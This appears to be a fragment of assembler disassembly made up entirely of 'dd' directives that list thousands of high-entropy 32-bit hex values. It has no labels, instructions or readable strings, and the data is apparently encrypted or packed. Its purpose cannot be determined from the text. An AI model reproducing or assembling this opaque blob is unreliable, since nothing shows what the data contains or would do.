		dd 0D7F654B7h, 0F780DF41h, 5A98C344h, 814B7CE9h, 8C44F034h
		dd 54092EC2h, 8071AF8Ah, 0C1FE8AB1h, 0F66E5166h, 5359A128h
		dd 0BE92C2B3h, 0D4D1AD70h, 5C7B0483h, 0A4AB687Ch, 817605C3h
		dd 61029D09h, 6B8DE41h,	0B5F543E9h, 34B05EF0h, 970959B5h
		dd 814357BAh, 289ED00h,	9B22E366h, 0BD50AB40h, 0BE09CD57h
		dd 0FCFB8457h, 6F35DDEEh, 0E11752E6h, 5BEACBA6h, 2469F6F0h
		dd 3407D12h, 62026FB3h,	27070C04h, 16AA20EBh, 0EB3DFA76h
		dd 934FD432h, 54045D1Fh, 21D3644h, 0D809DD02h, 0BFC70860h
		dd 217B0812h, 5717DFE8h, 862DB95Eh, 77A96216h, 0CA38EDD8h
		dd 4528FB4Fh, 0FBBB7C19h, 0BF6B5C7Eh, 5F0A788Fh, 7400F529h
		dd 587F6F7Ch, 52261EC0h, 775E1386h, 87021683h, 0E871EF2Ch
		dd 504A7E6h, 0B4E47CA9h, 461D7AA7h, 0EBE405Ah, 0C4678A25h
		dd 0C482C801h, 77680112h, 96CC6F63h, 5B175D75h,	7B731083h
		dd 0A7B8E990h, 0EE82C094h, 7D281D5Fh, 0E5A85DC0h, 0C3B20283h
		dd 4A12326Dh, 573402DDh, 249A5D86h, 0B70C99D3h,	6F29BAB6h
		dd 2D3F1E54h, 0D02C20FAh, 2B164396h, 16DB0BC8h,	0EB2E694Eh
		dd 33088650h, 813F965Eh, 7E7176B0h, 2110E329h, 90C14FF3h
		dd 8FA5B272h, 6727F1F6h, 0DDA0C89h, 4CBD385h, 0E6D10743h
		dd 0AFB90148h, 7030A726h, 8B82C993h, 0FB3D046Fh, 0F3F02104h
		dd 73FE5AC7h, 50F8BA2Fh, 427C0F13h, 61DEEA6Eh, 8954DC7h
		dd 0C958F5EAh, 6895CE63h, 49F3E50Eh, 2367810h, 0B89D7CBFh
		dd 0BBCDCC4h, 0DF22F301h, 0A9ECDC58h, 4900834Ah, 0DA8D6005h
		dd 94315187h, 67A67521h, 485A03CDh, 44D135F4h, 87E82AFFh
		dd 0C291E8F4h, 445B87E9h, 70A1040Eh, 87056114h,	256D70BFh
		dd 794F30AEh, 3D0222E0h, 8CCF9768h, 0CC5DC848h,	865F76CBh
		dd 0CAEB9CD0h, 0D543D5Bh, 0F2C81892h, 0F2D55063h, 2E582314h
		dd 1BE6139Dh, 0CEEC4113h, 61C5F18Eh, 14A20915h,	0EC1B1CDFh
		dd 0EC7B58F1h, 0B1BC6627h, 145A14B5h, 147DA7E9h, 33F00F0Bh
		dd 8EC7497Fh, 56C0DD7Ch, 0E238BABEh, 0CE816A01h, 7EC0CBCh
		dd 0C04EA57Bh, 525B3E0Eh, 9F40D2F0h, 4D5F10C0h,	0AB60DBEEh
		dd 49B7B80Eh, 904E7AE7h, 0B97FE177h, 73EB8EC0h,	0BF4124AEh
		dd 0F40216B0h, 0B74E5639h, 0C897A422h, 0EA4E1A73h, 7C012335h
		dd 68150C20h, 2EF52F9Eh, 0C340CEEFh, 5E144AB3h,	7B29EA1Ah
		dd 0C073DD20h, 47DEC12Bh, 500C3B2Ch, 4D535C68h,	0BEC44A18h
		dd 0FD36C35Ah, 6872B8F9h, 0BD285782h, 0A1B5B6E6h, 5B385FDEh
		dd 54103537h, 12B57CA5h, 80F4C3CBh, 0B5EFAA57h,	0D329D883h
		dd 0E2F5DAAAh, 93F8D32Bh, 59E1C051h, 4CB2C0E9h,	54AE5E60h
		dd 8023C835h, 0E5A6E30h, 527C3E00h, 1FF736E1h, 77E94FD7h
		dd 6880EF57h, 0AA8586Ah, 0A52BF3B0h, 870F3807h,	720CABCBh
		dd 0E0ED01B6h, 0D1743663h, 9BE80E5h, 0E97BB44Ah, 894D4BDFh
		dd 2B12E96h, 13BE2283h,	0E00957B4h, 758F3FE9h, 7202514h
		dd 98D0B5DDh, 84589FE4h, 56F02DE3h, 367525A3h, 3DE913CFh
		dd 665344DBh, 4A5EA347h, 41FE97D4h, 4B73C242h, 0EBDA6077h
		dd 43252091h, 85EE9404h, 0E886B4CFh, 5A657749h,	42292CEFh
		dd 0B80ADF60h, 7A1620AAh, 0D325B77h, 0E0D6C0E7h, 48AAE1E5h
		dd 319557C8h, 0EE6AF572h, 38164308h, 0AC7BBAC9h, 5E01946h
		dd 356F01D5h, 0EEF05B4h
		dd 97BCED0Ah, 111277E8h, 0F29F0136h, 0EE16175Ch, 22AC2FDFh
		dd 64562006h, 3FDB2110h, 290FE989h, 27ECDCF3h, 5B779A42h
		dd 0CCE8A72Ch, 5D81B125h, 5BC906Bh, 0D1FB16C9h,	0DBB37AD6h
		dd 819CCE40h, 8BF37D58h, 9F45D0D1h, 5D69CDE5h, 10021613h
		dd 0DCE93DB5h, 3E205FB0h, 5615410Ah, 75CF810Ah,	0BC24EB6Eh
		dd 0B914872Dh, 7FA18A02h, 25A0A8E0h, 2952310Bh,	1BF580CFh
		dd 0FC497746h, 742309E3h, 907F6BF0h, 3C7FD3D2h,	6FCD58B1h
		dd 98CA5E17h, 0A34A6879h, 1227B2F4h, 0FE461011h, 26986016h
		dd 0B85A7D68h, 0A4F02E91h, 5D080C0h, 5C996FBAh,	4F6C6FFh
		dd 0EB107569h, 0DC822B73h, 3EB02789h, 98A6DE2h,	64CF78Dh
		dd 93D67B5h, 0AAD1BB56h, 51B0D62Fh, 13742759h, 0F58C55A0h
		dd 0B2135C60h, 0B0058A40h, 689909B9h, 458F0193h, 5C5A7522h
		dd 0D34A3D03h, 48180E20h, 0E9434525h, 0E885F32Ch, 0D00FE200h
		dd 0EFD1B7CAh, 3281CA84h, 0E2CA52BBh, 40D8C977h, 7DF4883Ah
		dd 90E6E8FEh, 15F5E65h,	0E3D15BFCh, 0CC66E443h,	705C2AC9h
		dd 1BE09505h, 0DD827D9Fh, 58F08D03h, 50D50F27h,	0AA0AD3CEh
		dd 6CAF4242h, 4F8157DDh, 6B5FFD29h, 57F8C8F5h, 0E97109A1h
		dd 9C5FD893h, 0D25352BEh, 7EE95B04h, 1E39FBF6h,	4AA28A60h
		dd 0E82799B0h, 0D9B44177h, 6E2300EBh, 0B821DF53h, 376B649Bh
		dd 0A7A6B14Dh, 35F40C4h, 2F483B2Eh, 0BC9F0B79h,	53D83065h
		dd 6B917995h, 74E299ECh, 0C1016AA8h, 0C9C9B0BDh, 0F2B480E1h
		dd 0DF4FB5EEh, 4584A3E2h, 0A8B05D3h, 0EA161F24h, 0FBB483ACh
		dd 47399C99h, 0C773EC9Ah, 767D103Ch, 51F92D02h,	85D41779h
		dd 0D5722609h, 502C3DB0h, 0BC736880h, 53732DC4h, 7CE78B1Dh
		dd 0D8D4D20Ah, 86E95160h, 0BD55805Dh, 0ED59BE02h, 0E1EF2927h
		dd 872D3B7Dh, 9C22D909h, 7DC98BF4h, 0EB8AF3A3h,	0F4EA2927h
		dd 0B95189EDh, 42A7C25Eh, 2DF65232h, 0CC594126h, 3A5D6884h
		dd 3B2D33BAh, 506A18D1h, 0FEB5516Dh, 66E8882Ch,	2E686658h
		dd 40835933h, 65E9BDB7h, 0EE41F165h, 59BB231h, 0A27517AFh
		dd 0EC79995Eh, 33569790h, 0CBCE5572h, 18BD42F6h, 95E47318h
		dd 0A061A71Ah, 0FF5B02C7h, 28ED9B8h, 0DE0AAE2Dh, 9608A003h
		dd 33F669E5h, 79469F8Bh, 4A142812h, 0BA918CEFh,	72444A12h
		dd 0E6CC39F1h, 0E94E1706h, 0B11DE0A1h, 0C9FEAE12h, 9E0504EFh
		dd 7D011272h, 4A1415A5h, 5DE9F42Ah, 56B76770h, 8B5FC4E3h
		dd 0E907611Fh, 4F2B4E2Bh, 921C405Ch, 6CDDFEA0h,	5C15E52Bh
		dd 2C40C0CAh, 5D729505h, 24B95E4Ah, 0FC5CB189h,	0B52E3625h
		dd 71AE7265h, 248A5888h, 20C5089Eh, 1D02B926h, 304E16h
		dd 78871319h, 2EFC112h,	18BE18FBh, 123B6F7Ah, 9EF7023Eh
		dd 0D5B5551Bh, 0C0902468h, 2213E6D3h, 7221B541h, 0CB2B2601h
		dd 143F18D1h, 3E2FC6B7h, 0A05E5ABAh, 0F94E09D4h, 71A09A0h
		dd 52A3E11h, 8130B56Fh,	0F53B9Dh, 9D65345Bh, 0D8289DC0h
		dd 0C1B3A1h, 1E4ECD81h,	0D70DE47Dh, 0BA9F85D0h,	38165B6h
		dd 31682B7Fh, 0D47930A8h, 2F1974Eh, 30E97F4Ch, 6860DD67h
		dd 79947034h, 9B042464h, 8059018Fh, 0F8C106EFh,	530D9076h
		dd 2AACC6B3h, 0E9B638BAh, 0AD6C17Bh, 3A21C9ABh,	985235A4h
		dd 0F0013B0Ah, 85901F5Bh, 12B4D3Bh, 6D19F7FDh, 60C8116h
		dd 0E9267C1Fh, 9874BFE5h, 4C307D08h, 0AE045B29h, 0AABEA279h
		dd 2D039A8Eh, 6A290D08h, 6855D890h, 62E908A0h, 0D6E32C4Ch
		dd 68D3CCBFh, 6C70CC25h, 7DE3804Bh, 2694484Eh, 0E402E019h
		dd 69D7A3Dh, 9D55F5ECh,	0B0209F66h, 82409575h, 0F83E7C32h
		dd 9D302242h, 0AD964DB6h, 72A4A59h, 42AB13Eh, 0B1E7FCC8h
		dd 0A93CC330h, 811040D6h, 0E95EA70Eh, 0ECED1324h, 3327E048h
		dd 0B32F0BFh, 0C4C14857h, 2A63C94Eh, 2ED878E0h,	1F3D2C5Bh
		dd 4185939Dh, 0A36853C4h, 0A081782Dh, 0B718CBE9h, 846992A2h
		dd 0CFDB800h, 0E27B4FA8h, 5C5C2F55h, 9EA0BE45h,	697151B7h
		dd 6432687Ah, 5F8924A6h, 52027DCCh, 6046C7BAh, 5A9E5842h
		dd 806C030Ch, 0FAC2FFEAh, 7E582649h, 1FBE8EF4h,	8B0BF866h
		dd 0BE22B66Ch, 19DF1BAFh, 0A230B472h, 31DD5A9Dh, 8B8D8F1Ch
		dd 71797731h, 92668851h, 9DA5923Ah, 8FCEE840h, 953EF360h
		dd 0EED82613h, 8400AFCh, 1BA407C7h, 4E97C2Ch, 98EA1299h
		dd 51C57DB2h, 0AAC2862Ch, 0DFBF00E0h, 39266B1Fh, 31046B4Fh
		dd 80FFC870h, 0A4CE09Fh, 0CAE90F09h, 3F71795Fh,	7273F202h
		dd 0E25FADA4h, 578C7DC0h, 324AFF06h, 96E1E01h, 8D2064B7h
		dd 0D73F6214h, 1E57EDCBh, 637C9DE7h, 0C0062951h, 2F681D44h
		dd 81463B45h, 8D3D0D0Bh, 429545Ah, 8B585908h, 58975E6Fh
		dd 1839786h, 0AF7022C2h, 31CA297Eh, 0C08061Dh, 0A54A0201h
		dd 0AA82E91Ah, 9A59DF4Ch, 0EDEEA05Dh, 154F2623h, 61940CCDh
		dd 1313E359h, 58C06321h, 50AF5F18h, 16FAD33Bh, 12605BF8h
		dd 0B0B285C4h, 64403C6Eh, 0BBD76D31h, 3DA00452h, 0CCA23E96h
		dd 51039F20h, 0F1805DB1h, 0A2063809h, 0BC5FAF5Ch, 525A051Ch
		dd 0E0A835E9h, 0B99AB776h, 0B8C5DF0Fh, 89350067h, 5948D51Fh
		dd 450F6812h, 16BA94CCh, 0E0136E57h, 1D257381h,	4B9A8631h
		dd 20EE0E14h, 51E110D4h, 81AECDE9h, 1FB9EA57h, 0B87E0FFAh
		dd 3A084194h, 81DDA4F2h, 0D01FCE2h, 4C3C9C07h, 68BC0C35h
		dd 3084B34Eh, 43E91229h, 41BCB7E6h, 22B572BDh, 21B89BFAh
		dd 27134B98h, 0BB1EEBC0h, 0F3499058h, 0ED331888h, 54F75436h
		dd 0E958B00Bh, 6F4FD09Ch, 0D20C5C8Fh, 0E02F6851h, 19271829h
		dd 3BE98360h, 34303F0Fh, 9F1522B9h, 0BAA07DD8h,	96240EEFh
		dd 0C60E112Dh, 1D6225Dh, 54917FF8h, 0B88C64E0h,	0D426EF04h
		dd 52AA8964h, 0F4CAEA65h, 4144E1D6h, 2ABD9D04h,	290BFFE6h
		dd 517158C6h, 2AD94E3Eh, 0A0BCFC3Eh, 0C4275CE9h, 194191E1h
		dd 762A9BF4h, 0BA018E3Eh, 68D314E2h, 864C316Ch,	0B4BF2AE9h
		dd 6F7331A0h, 52D9347h,	0A2055BE8h, 0BB11CC16h,	4C8095D4h
		dd 0EC34B609h, 7E860CCAh, 781873EEh, 8AC57A07h,	0FF256FE9h
		dd 0AE3B37AAh, 6DD10DABh, 0B0573893h, 0ABA696E2h, 5FB81C20h
		dd 84071031h, 6D3CBA4Bh, 9D34AE9h, 42289308h, 84CB1744h
		dd 8C41AB15h, 253D35B5h, 41F90C8Eh, 0BE8952A5h,	92375B90h
		dd 0E9803A0Bh, 59040B5Bh, 0A13F2B07h, 0CDC061ECh, 4655FC03h
		dd 68F7B89Dh, 30495B5Ch, 9235861Eh, 5B30705Ch, 0AD4A5CECh
		dd 5D0C9F7Ch, 582918B3h, 3D5832CEh, 0B3474C4h, 0FB89F709h
		dd 2297AF1Ch, 0D72FA981h, 0C853618h, 609944Bh, 62885CFCh
		dd 770BBC0Fh, 3E28E940h, 81142F00h, 0C73FFFC9h,	55561D1Dh
		dd 0EF6F05BDh, 0A216BF5Eh, 0C50236B2h, 0FB41D2D1h, 9F0C1F7h
		dd 8493903Fh, 74281C36h, 82C51705h, 3CEAE158h, 0D54B912Ah
		dd 42065CAAh, 2972D33Ah, 9E20B272h, 3C8BB60Ah, 414C5216h
		dd 5168ADB6h, 0BD27483Bh, 82C2EE49h, 0FC1EE668h, 6164C1F2h
		dd 0CE602084h, 0A21DAF01h, 0CF90E967h, 5D1C612Fh, 0B1992B25h
		dd 0FA17BC44h, 13FE8AEAh, 0D7CC1B48h, 166009C2h, 217E0966h
		dd 0FC8408A0h, 7B00A20h, 3CFC2CBAh, 4FCEA2ACh, 617A7BDEh
		dd 0F16FD650h, 15CB3BF8h, 2F618210h, 0E789A05Dh, 0BF5A2062h
		dd 0C80734Eh, 364DDAE9h, 7FDD1229h, 11D48BF2h, 8B47B500h
		dd 0B1E98162h, 85120DD3h, 515B7F80h, 3D7F90F6h,	0CE008059h
		dd 0B0505366h, 0E017C06Fh
		dd 0C90D2C08h, 0B196DD3Ah, 36D50050h, 890AEE0Bh, 8E7E74BDh
		dd 0BC73ED55h, 66FC04A4h, 0CEAB648Eh, 9253CD9h,	80384105h
		dd 108475Bh, 8EA0B702h,	53927457h, 0CF79E916h, 0B8C0CD94h
		dd 48CE24E4h, 0D204B717h, 0BAC7CD06h, 0D51244D4h, 403054F4h
		dd 0D3583191h, 0B4563083h, 4FCE1DB6h, 5F46E867h, 97CF15C1h
		dd 0CCD5317Eh, 143D1174h, 15A40004h, 0B830A412h, 667A9409h
		dd 0F5807721h, 6B44750Dh, 27177EBDh, 0B0350400h, 5EB88BFCh
		dd 9DE5A220h, 53B4690h,	0A0D2CCBFh, 2F43C0D2h, 0ECE01ECEh
		dd 1BC93A6Fh, 8429FDC3h, 9E660310h, 81A179BDh, 0C28044B2h
		dd 0E2D0F943h, 7F2329F5h, 0A68F918h, 9E6F304Dh,	35E40BC5h
		dd 0C4043EC1h, 0ADF38000h, 5B5FDEE0h, 0C4FE1CEBh, 81F1880Bh
		dd 45543Ah, 9DE6D146h, 68017B7Bh, 19DB65A0h, 40A42728h
		dd 0EDCEF2ECh, 895EE702h, 0A9017498h, 7173F3C8h, 0C7FBC69Fh
		dd 0CD810F03h, 2CD6C6ADh, 2DCD586Bh, 9348EF1Ah,	98255B7Ah
		dd 0E7D052C0h, 3908B970h, 50D88652h, 0AF9B925h,	261049ACh
		dd 0D98AEAD2h, 4F87E90Dh, 344E8B37h, 932B571Fh,	0B1821602h
		dd 18C2D73Ah, 187BF277h, 0C5788368h, 0E7BDA3B1h, 222C3F3Ah
		dd 5B5D897Bh, 0B276378h, 0F1136C79h, 0F23794CCh, 2CB6B8C7h
		dd 41CB9326h, 932230FEh, 0C2426A4Ah, 0F7154268h, 904F0030h
		dd 0C53082F5h, 8069BD75h, 0C906F7D2h, 9C4901Eh,	5D808A39h
		dd 994E7D48h, 2C285B81h, 0C22C49D4h, 755CADB7h,	666F6742h
		dd 800294B8h, 2D5C1711h, 5112C005h, 40050EDAh, 4E5E6FDCh
		dd 0D6A3C609h, 3C1580CAh, 912D0674h, 8AC22500h,	0C4E9C509h
		dd 0A0A3931Fh, 0DB352753h, 0BB08ED7Bh, 52B80343h, 4890C27Dh
		dd 15169225h, 740478B1h, 0FA12AD5Ah, 1A957B81h,	0EC93E732h
		dd 0A533314Eh, 0B59D600Eh, 4B36C9E5h, 0C9C266DEh, 89A559CCh
		dd 0BC9C614h, 0C588203h, 5E6F7641h, 40440518h, 18C84A4h
		dd 0A75B4DAEh, 0C0D17E57h, 3502A19Ah, 8E2E4C60h, 9649A8B0h
		dd 72EA0238h, 40F7693Fh, 0ACB37A16h, 0B0AB05Eh,	689E2697h
		dd 0A82D226Ch, 49F6464Bh, 7B483E7Eh, 8A84F43Bh,	82D9F75Bh
		dd 0B2083B31h, 19F0AD16h, 0E0D0D84Ah, 78823A6Ah, 0ED0397F1h
		dd 98AC3368h, 4412F73Bh, 53BB6D1Ah, 261C0EB0h, 0EA17FA65h
		dd 12464804h, 609465F4h, 16F1CB42h, 6F7B4F5Ch, 444CB72Dh
		dd 1D12A096h, 0F7B7A21Ah, 0BC2D60F0h, 91B1B0Fh,	43F8687Ch
		dd 56162D66h, 5701CD04h, 7B6180F7h, 2F227FF2h, 135E42E9h
		dd 0A0B27D25h, 20FCC757h, 0EE58E497h, 33BA0E37h, 85B71B09h
		dd 7657B0DBh, 0D79C156Bh, 0BA5A9EA4h, 0BD4BB5F7h, 0C21F898Eh
		dd 83167F09h, 2F8E8E81h, 0C8E80FD9h, 77B5C454h,	9589C22Ch
		dd 3494DD09h, 3840F3FCh, 3E9C0BBDh, 3EDA4F92h, 54505B17h
		dd 0B1597333h, 0D16B9BE1h, 102A65Eh, 0B53AC181h, 30F94115h
		dd 65CC2A15h, 0EA401BBh, 3EE91346h, 95297E7Dh, 5CCBD83Bh
		dd 5029CA40h, 5E43FFF5h, 615EEEAFh, 10F8D90Dh, 683CDE82h
		dd 0D96631F2h, 5094A8F0h, 22F8FC6h, 0C0F0C480h,	2FF07ECh
		dd 171955h, 0F35A3D68h,	72F3294Ah, 0B29AE85Bh, 8B0955ADh
		dd 2D026755h, 9D0A195Fh, 0AC1C19A6h, 0FE531C3Fh, 0F50BB425h
		dd 899732FFh, 0BFC14036h, 0A94F16D2h, 0AE620151h, 0F923BE49h
		dd 12FC2C15h, 2206C628h, 0C3F5A32h, 23B768D3h, 0E060EDA7h
		dd 0A0FB928h, 0E878BDAAh, 935F64F4h, 0A8ED8D80h, 0EC2BF64Ch
		dd 0F5209E5h, 0D779763Ah, 0D8747E02h, 9ECC4069h, 45CD2825h
		dd 44A93FD3h, 4AC73660h, 2498CC3Dh, 756FF706h, 0FB0435Dh
		dd 23E33228h, 5F62E780h, 30982B38h, 0F6B7AC70h,	0D1757A3Bh
		dd 93C18BEAh, 0C848A23Ah, 459D2BCEh, 0D19EAF86h, 6D92A3BFh
		dd 0CF4725DBh, 0C75928FEh, 7B96BA83h, 0C0B5791h, 824C4BECh
		dd 6837E92Bh, 5CD63186h, 247A7A5Ah, 0ADE0F3BAh,	39927F5Eh
		dd 629A345Fh, 0E0835DBFh, 0E6F97994h, 6FD3BFBh,	4B85DA8Fh
		dd 47DB4DB4h, 69B76A37h, 81B5B2D6h, 0ABE95BDDh,	0D85977EAh
		dd 0BE2CEC90h, 0FD318ECBh, 0DE2BB6EBh, 23491CD9h, 199EDD37h
		dd 0C202C417h, 64B06FF7h, 0AE0ED057h, 0E9506C02h, 76C8BF71h
		dd 0D51DB353h, 8AB1DC20h, 0F7C22867h, 270EB4FBh, 394210A2h
		dd 0E7685000h, 5821220Dh, 4C480507h, 0DFFB2B49h, 5412F220h
		dd 0E913632Dh, 0B4A8E8D5h, 0CB5E48DEh, 45715917h, 68004295h
		dd 15C42514h, 9AB879DAh, 0C124AAA4h, 0D3A4DC12h, 14290EEEh
		dd 0FE835FDAh, 25BEDF68h, 40826CE0h, 0B7C6D6Ch,	0D8091761h
		dd 5FE4868Fh, 2DB90058h, 7B14721Bh, 0DC450081h,	0D505986Eh
		dd 387A9112h, 6439DB2Dh, 0E1529754h, 0C555D9B5h, 32EF9D8h
		dd 407E1DEFh, 0DF0C042Ch, 9712333Bh, 34082A60h,	3114140Ch
		dd 0C24DD04Bh, 3C2E6397h, 43D3570h, 3192059Fh, 0F6F188FBh
		dd 48219941h, 0BB4B944Bh, 7B284F31h, 0C68100C2h, 325DB1Bh
		dd 0B0CE5805h, 163C2FA6h, 1F302FE6h, 0E3801032h, 1897A06Fh
		dd 6A9AD4BAh, 25725489h, 0A812E226h, 35665C61h,	4AFB7864h
		dd 0CF6BB887h, 12A4440Dh, 5D4628BEh, 0ADE64C5Eh, 0C9052006h
		dd 0C30FB22Ch, 0C1C5670Dh, 95C0E956h, 1FD0F997h, 53CA586Ch
		dd 6F1EADF2h, 17CC3FBFh, 9C2170Bh, 32109D3Eh, 3FD03187h
		dd 1E8274E6h, 755197h, 0E61004F1h, 0C8490151h, 15A8D652h
		dd 0C94DBE13h, 0AF017B77h, 0DBE7B833h, 6C58C03Bh, 95B1312h
		dd 71A67E81h, 0A75065ACh, 0E46FC1F4h, 70BD54EAh, 0EAD1CA84h
		dd 4E1DCEB4h, 438D493Eh, 0A0B73550h, 0FECBE3Ah,	89449780h
		dd 526F5CBDh, 29169A73h, 0B7AB6B84h, 20AD942Ah,	0ADF499C5h
		dd 0C7498FF5h, 5B652866h, 5ACF1FBh, 8818A808h, 5BD02F9Eh
		dd 5FA35638h, 623029FFh, 2FC8D4CDh, 6E30A0CEh, 9F744A6Fh
		dd 0D6AFB77Ch, 21B13BCEh, 2B92132Fh, 38E1B6F8h,	0BC9474C3h
		dd 22F02B16h, 57399D01h, 67207B4Fh, 0FB9F6541h,	0E2C2EEC6h
		dd 0B597D888h, 0DB79FE7Ch, 0B6BF2381h, 2F73EC62h, 53784E44h
		dd 0F16231FBh, 297E34BFh, 0D65892A1h, 205B50DDh, 88F498B6h
		dd 0E25AD133h, 1CB9254Fh, 0F80F12DFh, 258F7F33h, 0E0882DEFh
		dd 76E90607h, 5C97366Eh, 0E5FD9F76h, 0A66FABD1h, 0E81AE187h
		dd 0C4C59FF5h, 8DD5369h, 531DAE52h, 75C06A89h, 0DD2CEB45h
		dd 99B3C816h, 56FEC7C0h, 1264375h, 7916F9EFh, 3911AACAh
		dd 0E9597Bh, 0A14282BBh, 5E96E90Fh, 781E406h, 0EF92CCF0h
		dd 0AD3C65BFh, 180996D5h, 912F49E9h, 201236EBh,	50FF2AEDh
		dd 0E90B0806h, 1B561525h, 29CB508Bh, 0D4A6A0F3h, 9068C309h
		dd 7EA51FEh, 0B1168422h, 8827B813h, 0FF570DB4h,	3823FD3Ah
		dd 0A0BF434Fh, 0A47DB9E9h, 0AE374EBCh, 0F88AB74Bh, 2EF3B534h
		dd 7B25E92h, 0FFF66AC5h, 0DAD01EB2h, 6E325A25h,	0AA26837Ch
		dd 0C2200900h, 9B85067h, 394544BFh, 460ED450h, 0D3297418h
		dd 533CBE0Bh, 0EB3E3E3Ch, 0FD43E513h, 0AC051883h, 1A6CC7EBh
		dd 0B33EEA77h, 0A36F7F82h, 58C60101h, 0EAFD06A0h, 6C8B0B71h
		dd 0B08ED14Bh, 0A54D9741h, 36F3D85Ch, 0DB290E24h, 0B9D5B20Dh
		dd 0CAE2B02Ah, 4820870Ch, 2B6EA22h, 6826EC0Fh, 24717484h
		dd 0DAD7BA39h, 0CB9332ADh, 0E9D60581h, 0ECCC29FFh, 0F376BD53h
		dd 0B5DC6858h, 1F93D3E8h, 56884791h, 0E6556BBEh, 0D3F99535h
		dd 0D80BE962h, 5066296Fh, 2C2B0BE3h, 0CA0961DAh, 7723E711h
		dd 3E9395E0h, 0A0B82FE6h
		dd 0A731774Bh, 4B8396ADh, 6320F781h, 7965B8ACh,	1A30029Eh
		dd 0C60A40EAh, 1C67EE0Ah, 10D60132h, 0EB5A07C6h, 5CF0975h
		dd 0E9CCC868h, 0C16B406Ch, 9605EE28h, 5EBFA45Eh, 0E35D0B37h
		dd 3FEFE557h, 0AF76E6ACh, 21096403h, 0D4545FEAh, 0CF7A5919h
		dd 0EC7D5DC0h, 3BE60BF6h, 3A09179Dh, 0EE2D52F2h, 4A7C70E2h
		dd 2E3BB889h, 0DBA56246h, 0CB68415Fh, 65C40461h, 0CD2612AAh
		dd 0D4A43E23h, 2A354184h, 0CE1409FEh, 68B0D743h, 3E9F7DB8h
		dd 0E91DCE17h, 9AB2329h, 25393E51h, 49DA516Ah, 0C9EC965Dh
		dd 85D5581Eh, 92FE4FCEh, 0B6D7C42Fh, 0E58BB718h, 0C4136E5Eh
		dd 0EEE69CEAh, 0E89D9D5Fh, 2B8B8F09h, 0D9F873E9h, 585B84B5h
		dd 33573449h, 6755F0B6h, 5D7705D9h, 90EBC4E9h, 80B5B36Bh
		dd 3AE4C338h, 60EBFCCBh, 0F682B79Eh, 57491A85h,	983FDB76h
		dd 681EB363h, 0AF70534Eh, 0E7F2F78h, 0B60230D3h, 770FC67Dh
		dd 8405D3C0h, 46837E0Bh, 0CB14D840h, 0C3045507h, 4E35A748h
		dd 0CEFE1735h, 3F135B65h, 58DD2598h, 0E4D3F045h, 0CDB83009h
		dd 107E8C41h, 0E116D5A1h, 8CE235CEh, 7D9549EFh,	0D295901Eh
		dd 0A35A5461h, 55523B4Ah, 1967AACAh, 4C8703ECh,	0B8042CEAh
		dd 820D8D5Fh, 0F6031259h, 80DE91D6h, 4BF0F2D5h,	5E4B9ABBh
		dd 532630C7h, 0CFA067B3h, 0E2978840h, 4F36572Fh, 3BB4B4C3h
		dd 0E9FFD880h, 12D7B47Dh, 0C956EEB9h, 0CC127013h, 0C55A8CC3h
		dd 0BA4F0DF2h, 0AB44D62Ah, 585F7721h, 0BD79F95Bh, 0AF525DD6h
		dd 0E83B6B64h, 0DDEF4h,	4BBA1E05h, 0E93E1688h, 0A1202D33h
		dd 45E5A97Eh, 8101488Fh, 62040CC0h, 0EF9221DBh,	0A292672Dh
		dd 5FD9792h, 6082E25Ch,	9336AC64h, 1FE91813h, 98B422DAh
		dd 56D7E5E0h, 95B48E0h,	7C666857h, 0A1899379h, 720B5E97h
		dd 0E9C34DFEh, 77494EFCh, 0BFDAD2BAh, 56602A46h, 0F94D7F92h
		dd 0BE949F76h, 0A9440DA2h, 684E2095h, 234E7733h, 0C207401h
		dd 0AA49E975h, 738B16C2h, 70622362h, 4D12A54Ah,	6BB281E1h
		dd 58180B14h, 5078CA0h,	0AD4CDD05h, 92C4BE36h, 21AB0717h
		dd 7815E909h, 7F5427EAh, 0F94EBA14h, 3D10E6A6h,	35B2596h
		dd 1035072Ch, 0CB052B2Bh, 61415658h, 3B0799E9h,	45A55FE2h
		dd 0AA505349h, 0C5579D61h, 0DE46FC2Eh, 14CF888Ch, 0FEF99DBBh
		dd 476964A8h, 0ACEB4095h, 0ED7BC9CCh, 0BFBDE254h, 57A44A11h
		dd 5E097843h, 51D333Bh,	7AE637A8h, 8B9F3998h, 0C2875E43h
		dd 0E675BBFEh, 35FD2FD2h, 0F1820E51h, 0F617EF09h, 0A7CF598Ah
		dd 57E300BDh, 2F6F4CBFh, 0C803D1Ch, 8B25EF2Dh, 0DA052A03h
		dd 133F8F0Ch, 806BE9DEh, 4E1C162h, 51D9F712h, 0EC12E756h
		dd 14EFCBD0h, 71A41347h, 13838401h, 74540608h, 0C65B291Fh
		dd 0CADC2E5h, 0DE84CEDAh, 0B563E977h, 8C685FA8h, 2575A3BBh
		dd 6D474280h, 0D3D63090h, 7309AF1Eh, 75F833E9h,	3D09D8E4h
		dd 5F7CDA46h, 7EE38368h, 7D6E1827h, 0E8B44A84h,	83BD0227h
		dd 703BC65Ch, 0D6D87CF2h, 575D8389h, 0C1BB7B54h, 20E63E04h
		dd 0F644401h, 5636580Ch, 5115FAA6h, 0AEA069Fh, 10F60FFh
		dd 1CC90F94h, 3F890DE9h, 6BD9840h, 2C96735Ch, 10F7D0F7h
		dd 4D395090h, 5E9D16BAh, 0BC14AD9Fh, 0ABBA5225h, 2A68DEAFh
		dd 0BD1E98FAh, 0D7A7F2FEh, 4E5D7F1Ch, 0B4680BFCh, 964AF141h
		dd 80BA2469h, 6AE7B768h, 31C850CCh, 14743E6h, 1C4127B8h
		dd 0F03F0970h, 0C15B2B0Dh, 408DFB8Ch, 81034346h, 304EC5CBh
		dd 0D3EBB062h, 6F772D7Eh, 0EC9FAEF0h, 0F6C9BFF1h, 0B952CF4h
		dd 5123CA68h, 0B5E98B5Bh, 959DC3D8h, 0BFB0AF2Eh, 0CA83BDDAh
		dd 5B26610Bh, 0E4F5357Eh, 7E979AF6h, 0E57DA59Dh, 0D8DA831h
		dd 2F5074C0h, 2B63FD92h, 89032AE3h, 16D7A4Eh, 0C68E20Bh
		dd 0C02D1A30h, 24360B86h, 98DD1F75h, 0CA812831h, 2C64C90Eh
		dd 0A5F2C07Ch, 0FFCEDF3Eh, 2F9EBD2Ah, 0BDB1004Ah, 340267F0h
		dd 80024D30h, 0F504544Bh, 0FD872906h, 9008DFF7h, 67D60994h
		dd 9F0B3473h, 0C5BFC458h, 94A8833h, 639E022Fh, 0E3B502D8h
		dd 66EC83FDh, 67B7F051h, 3DB40050h, 0E13063B1h,	0F9172858h
		dd 202590E9h, 0C7C54FAFh, 0FA8952C2h, 59896551h, 0F9017D5Ah
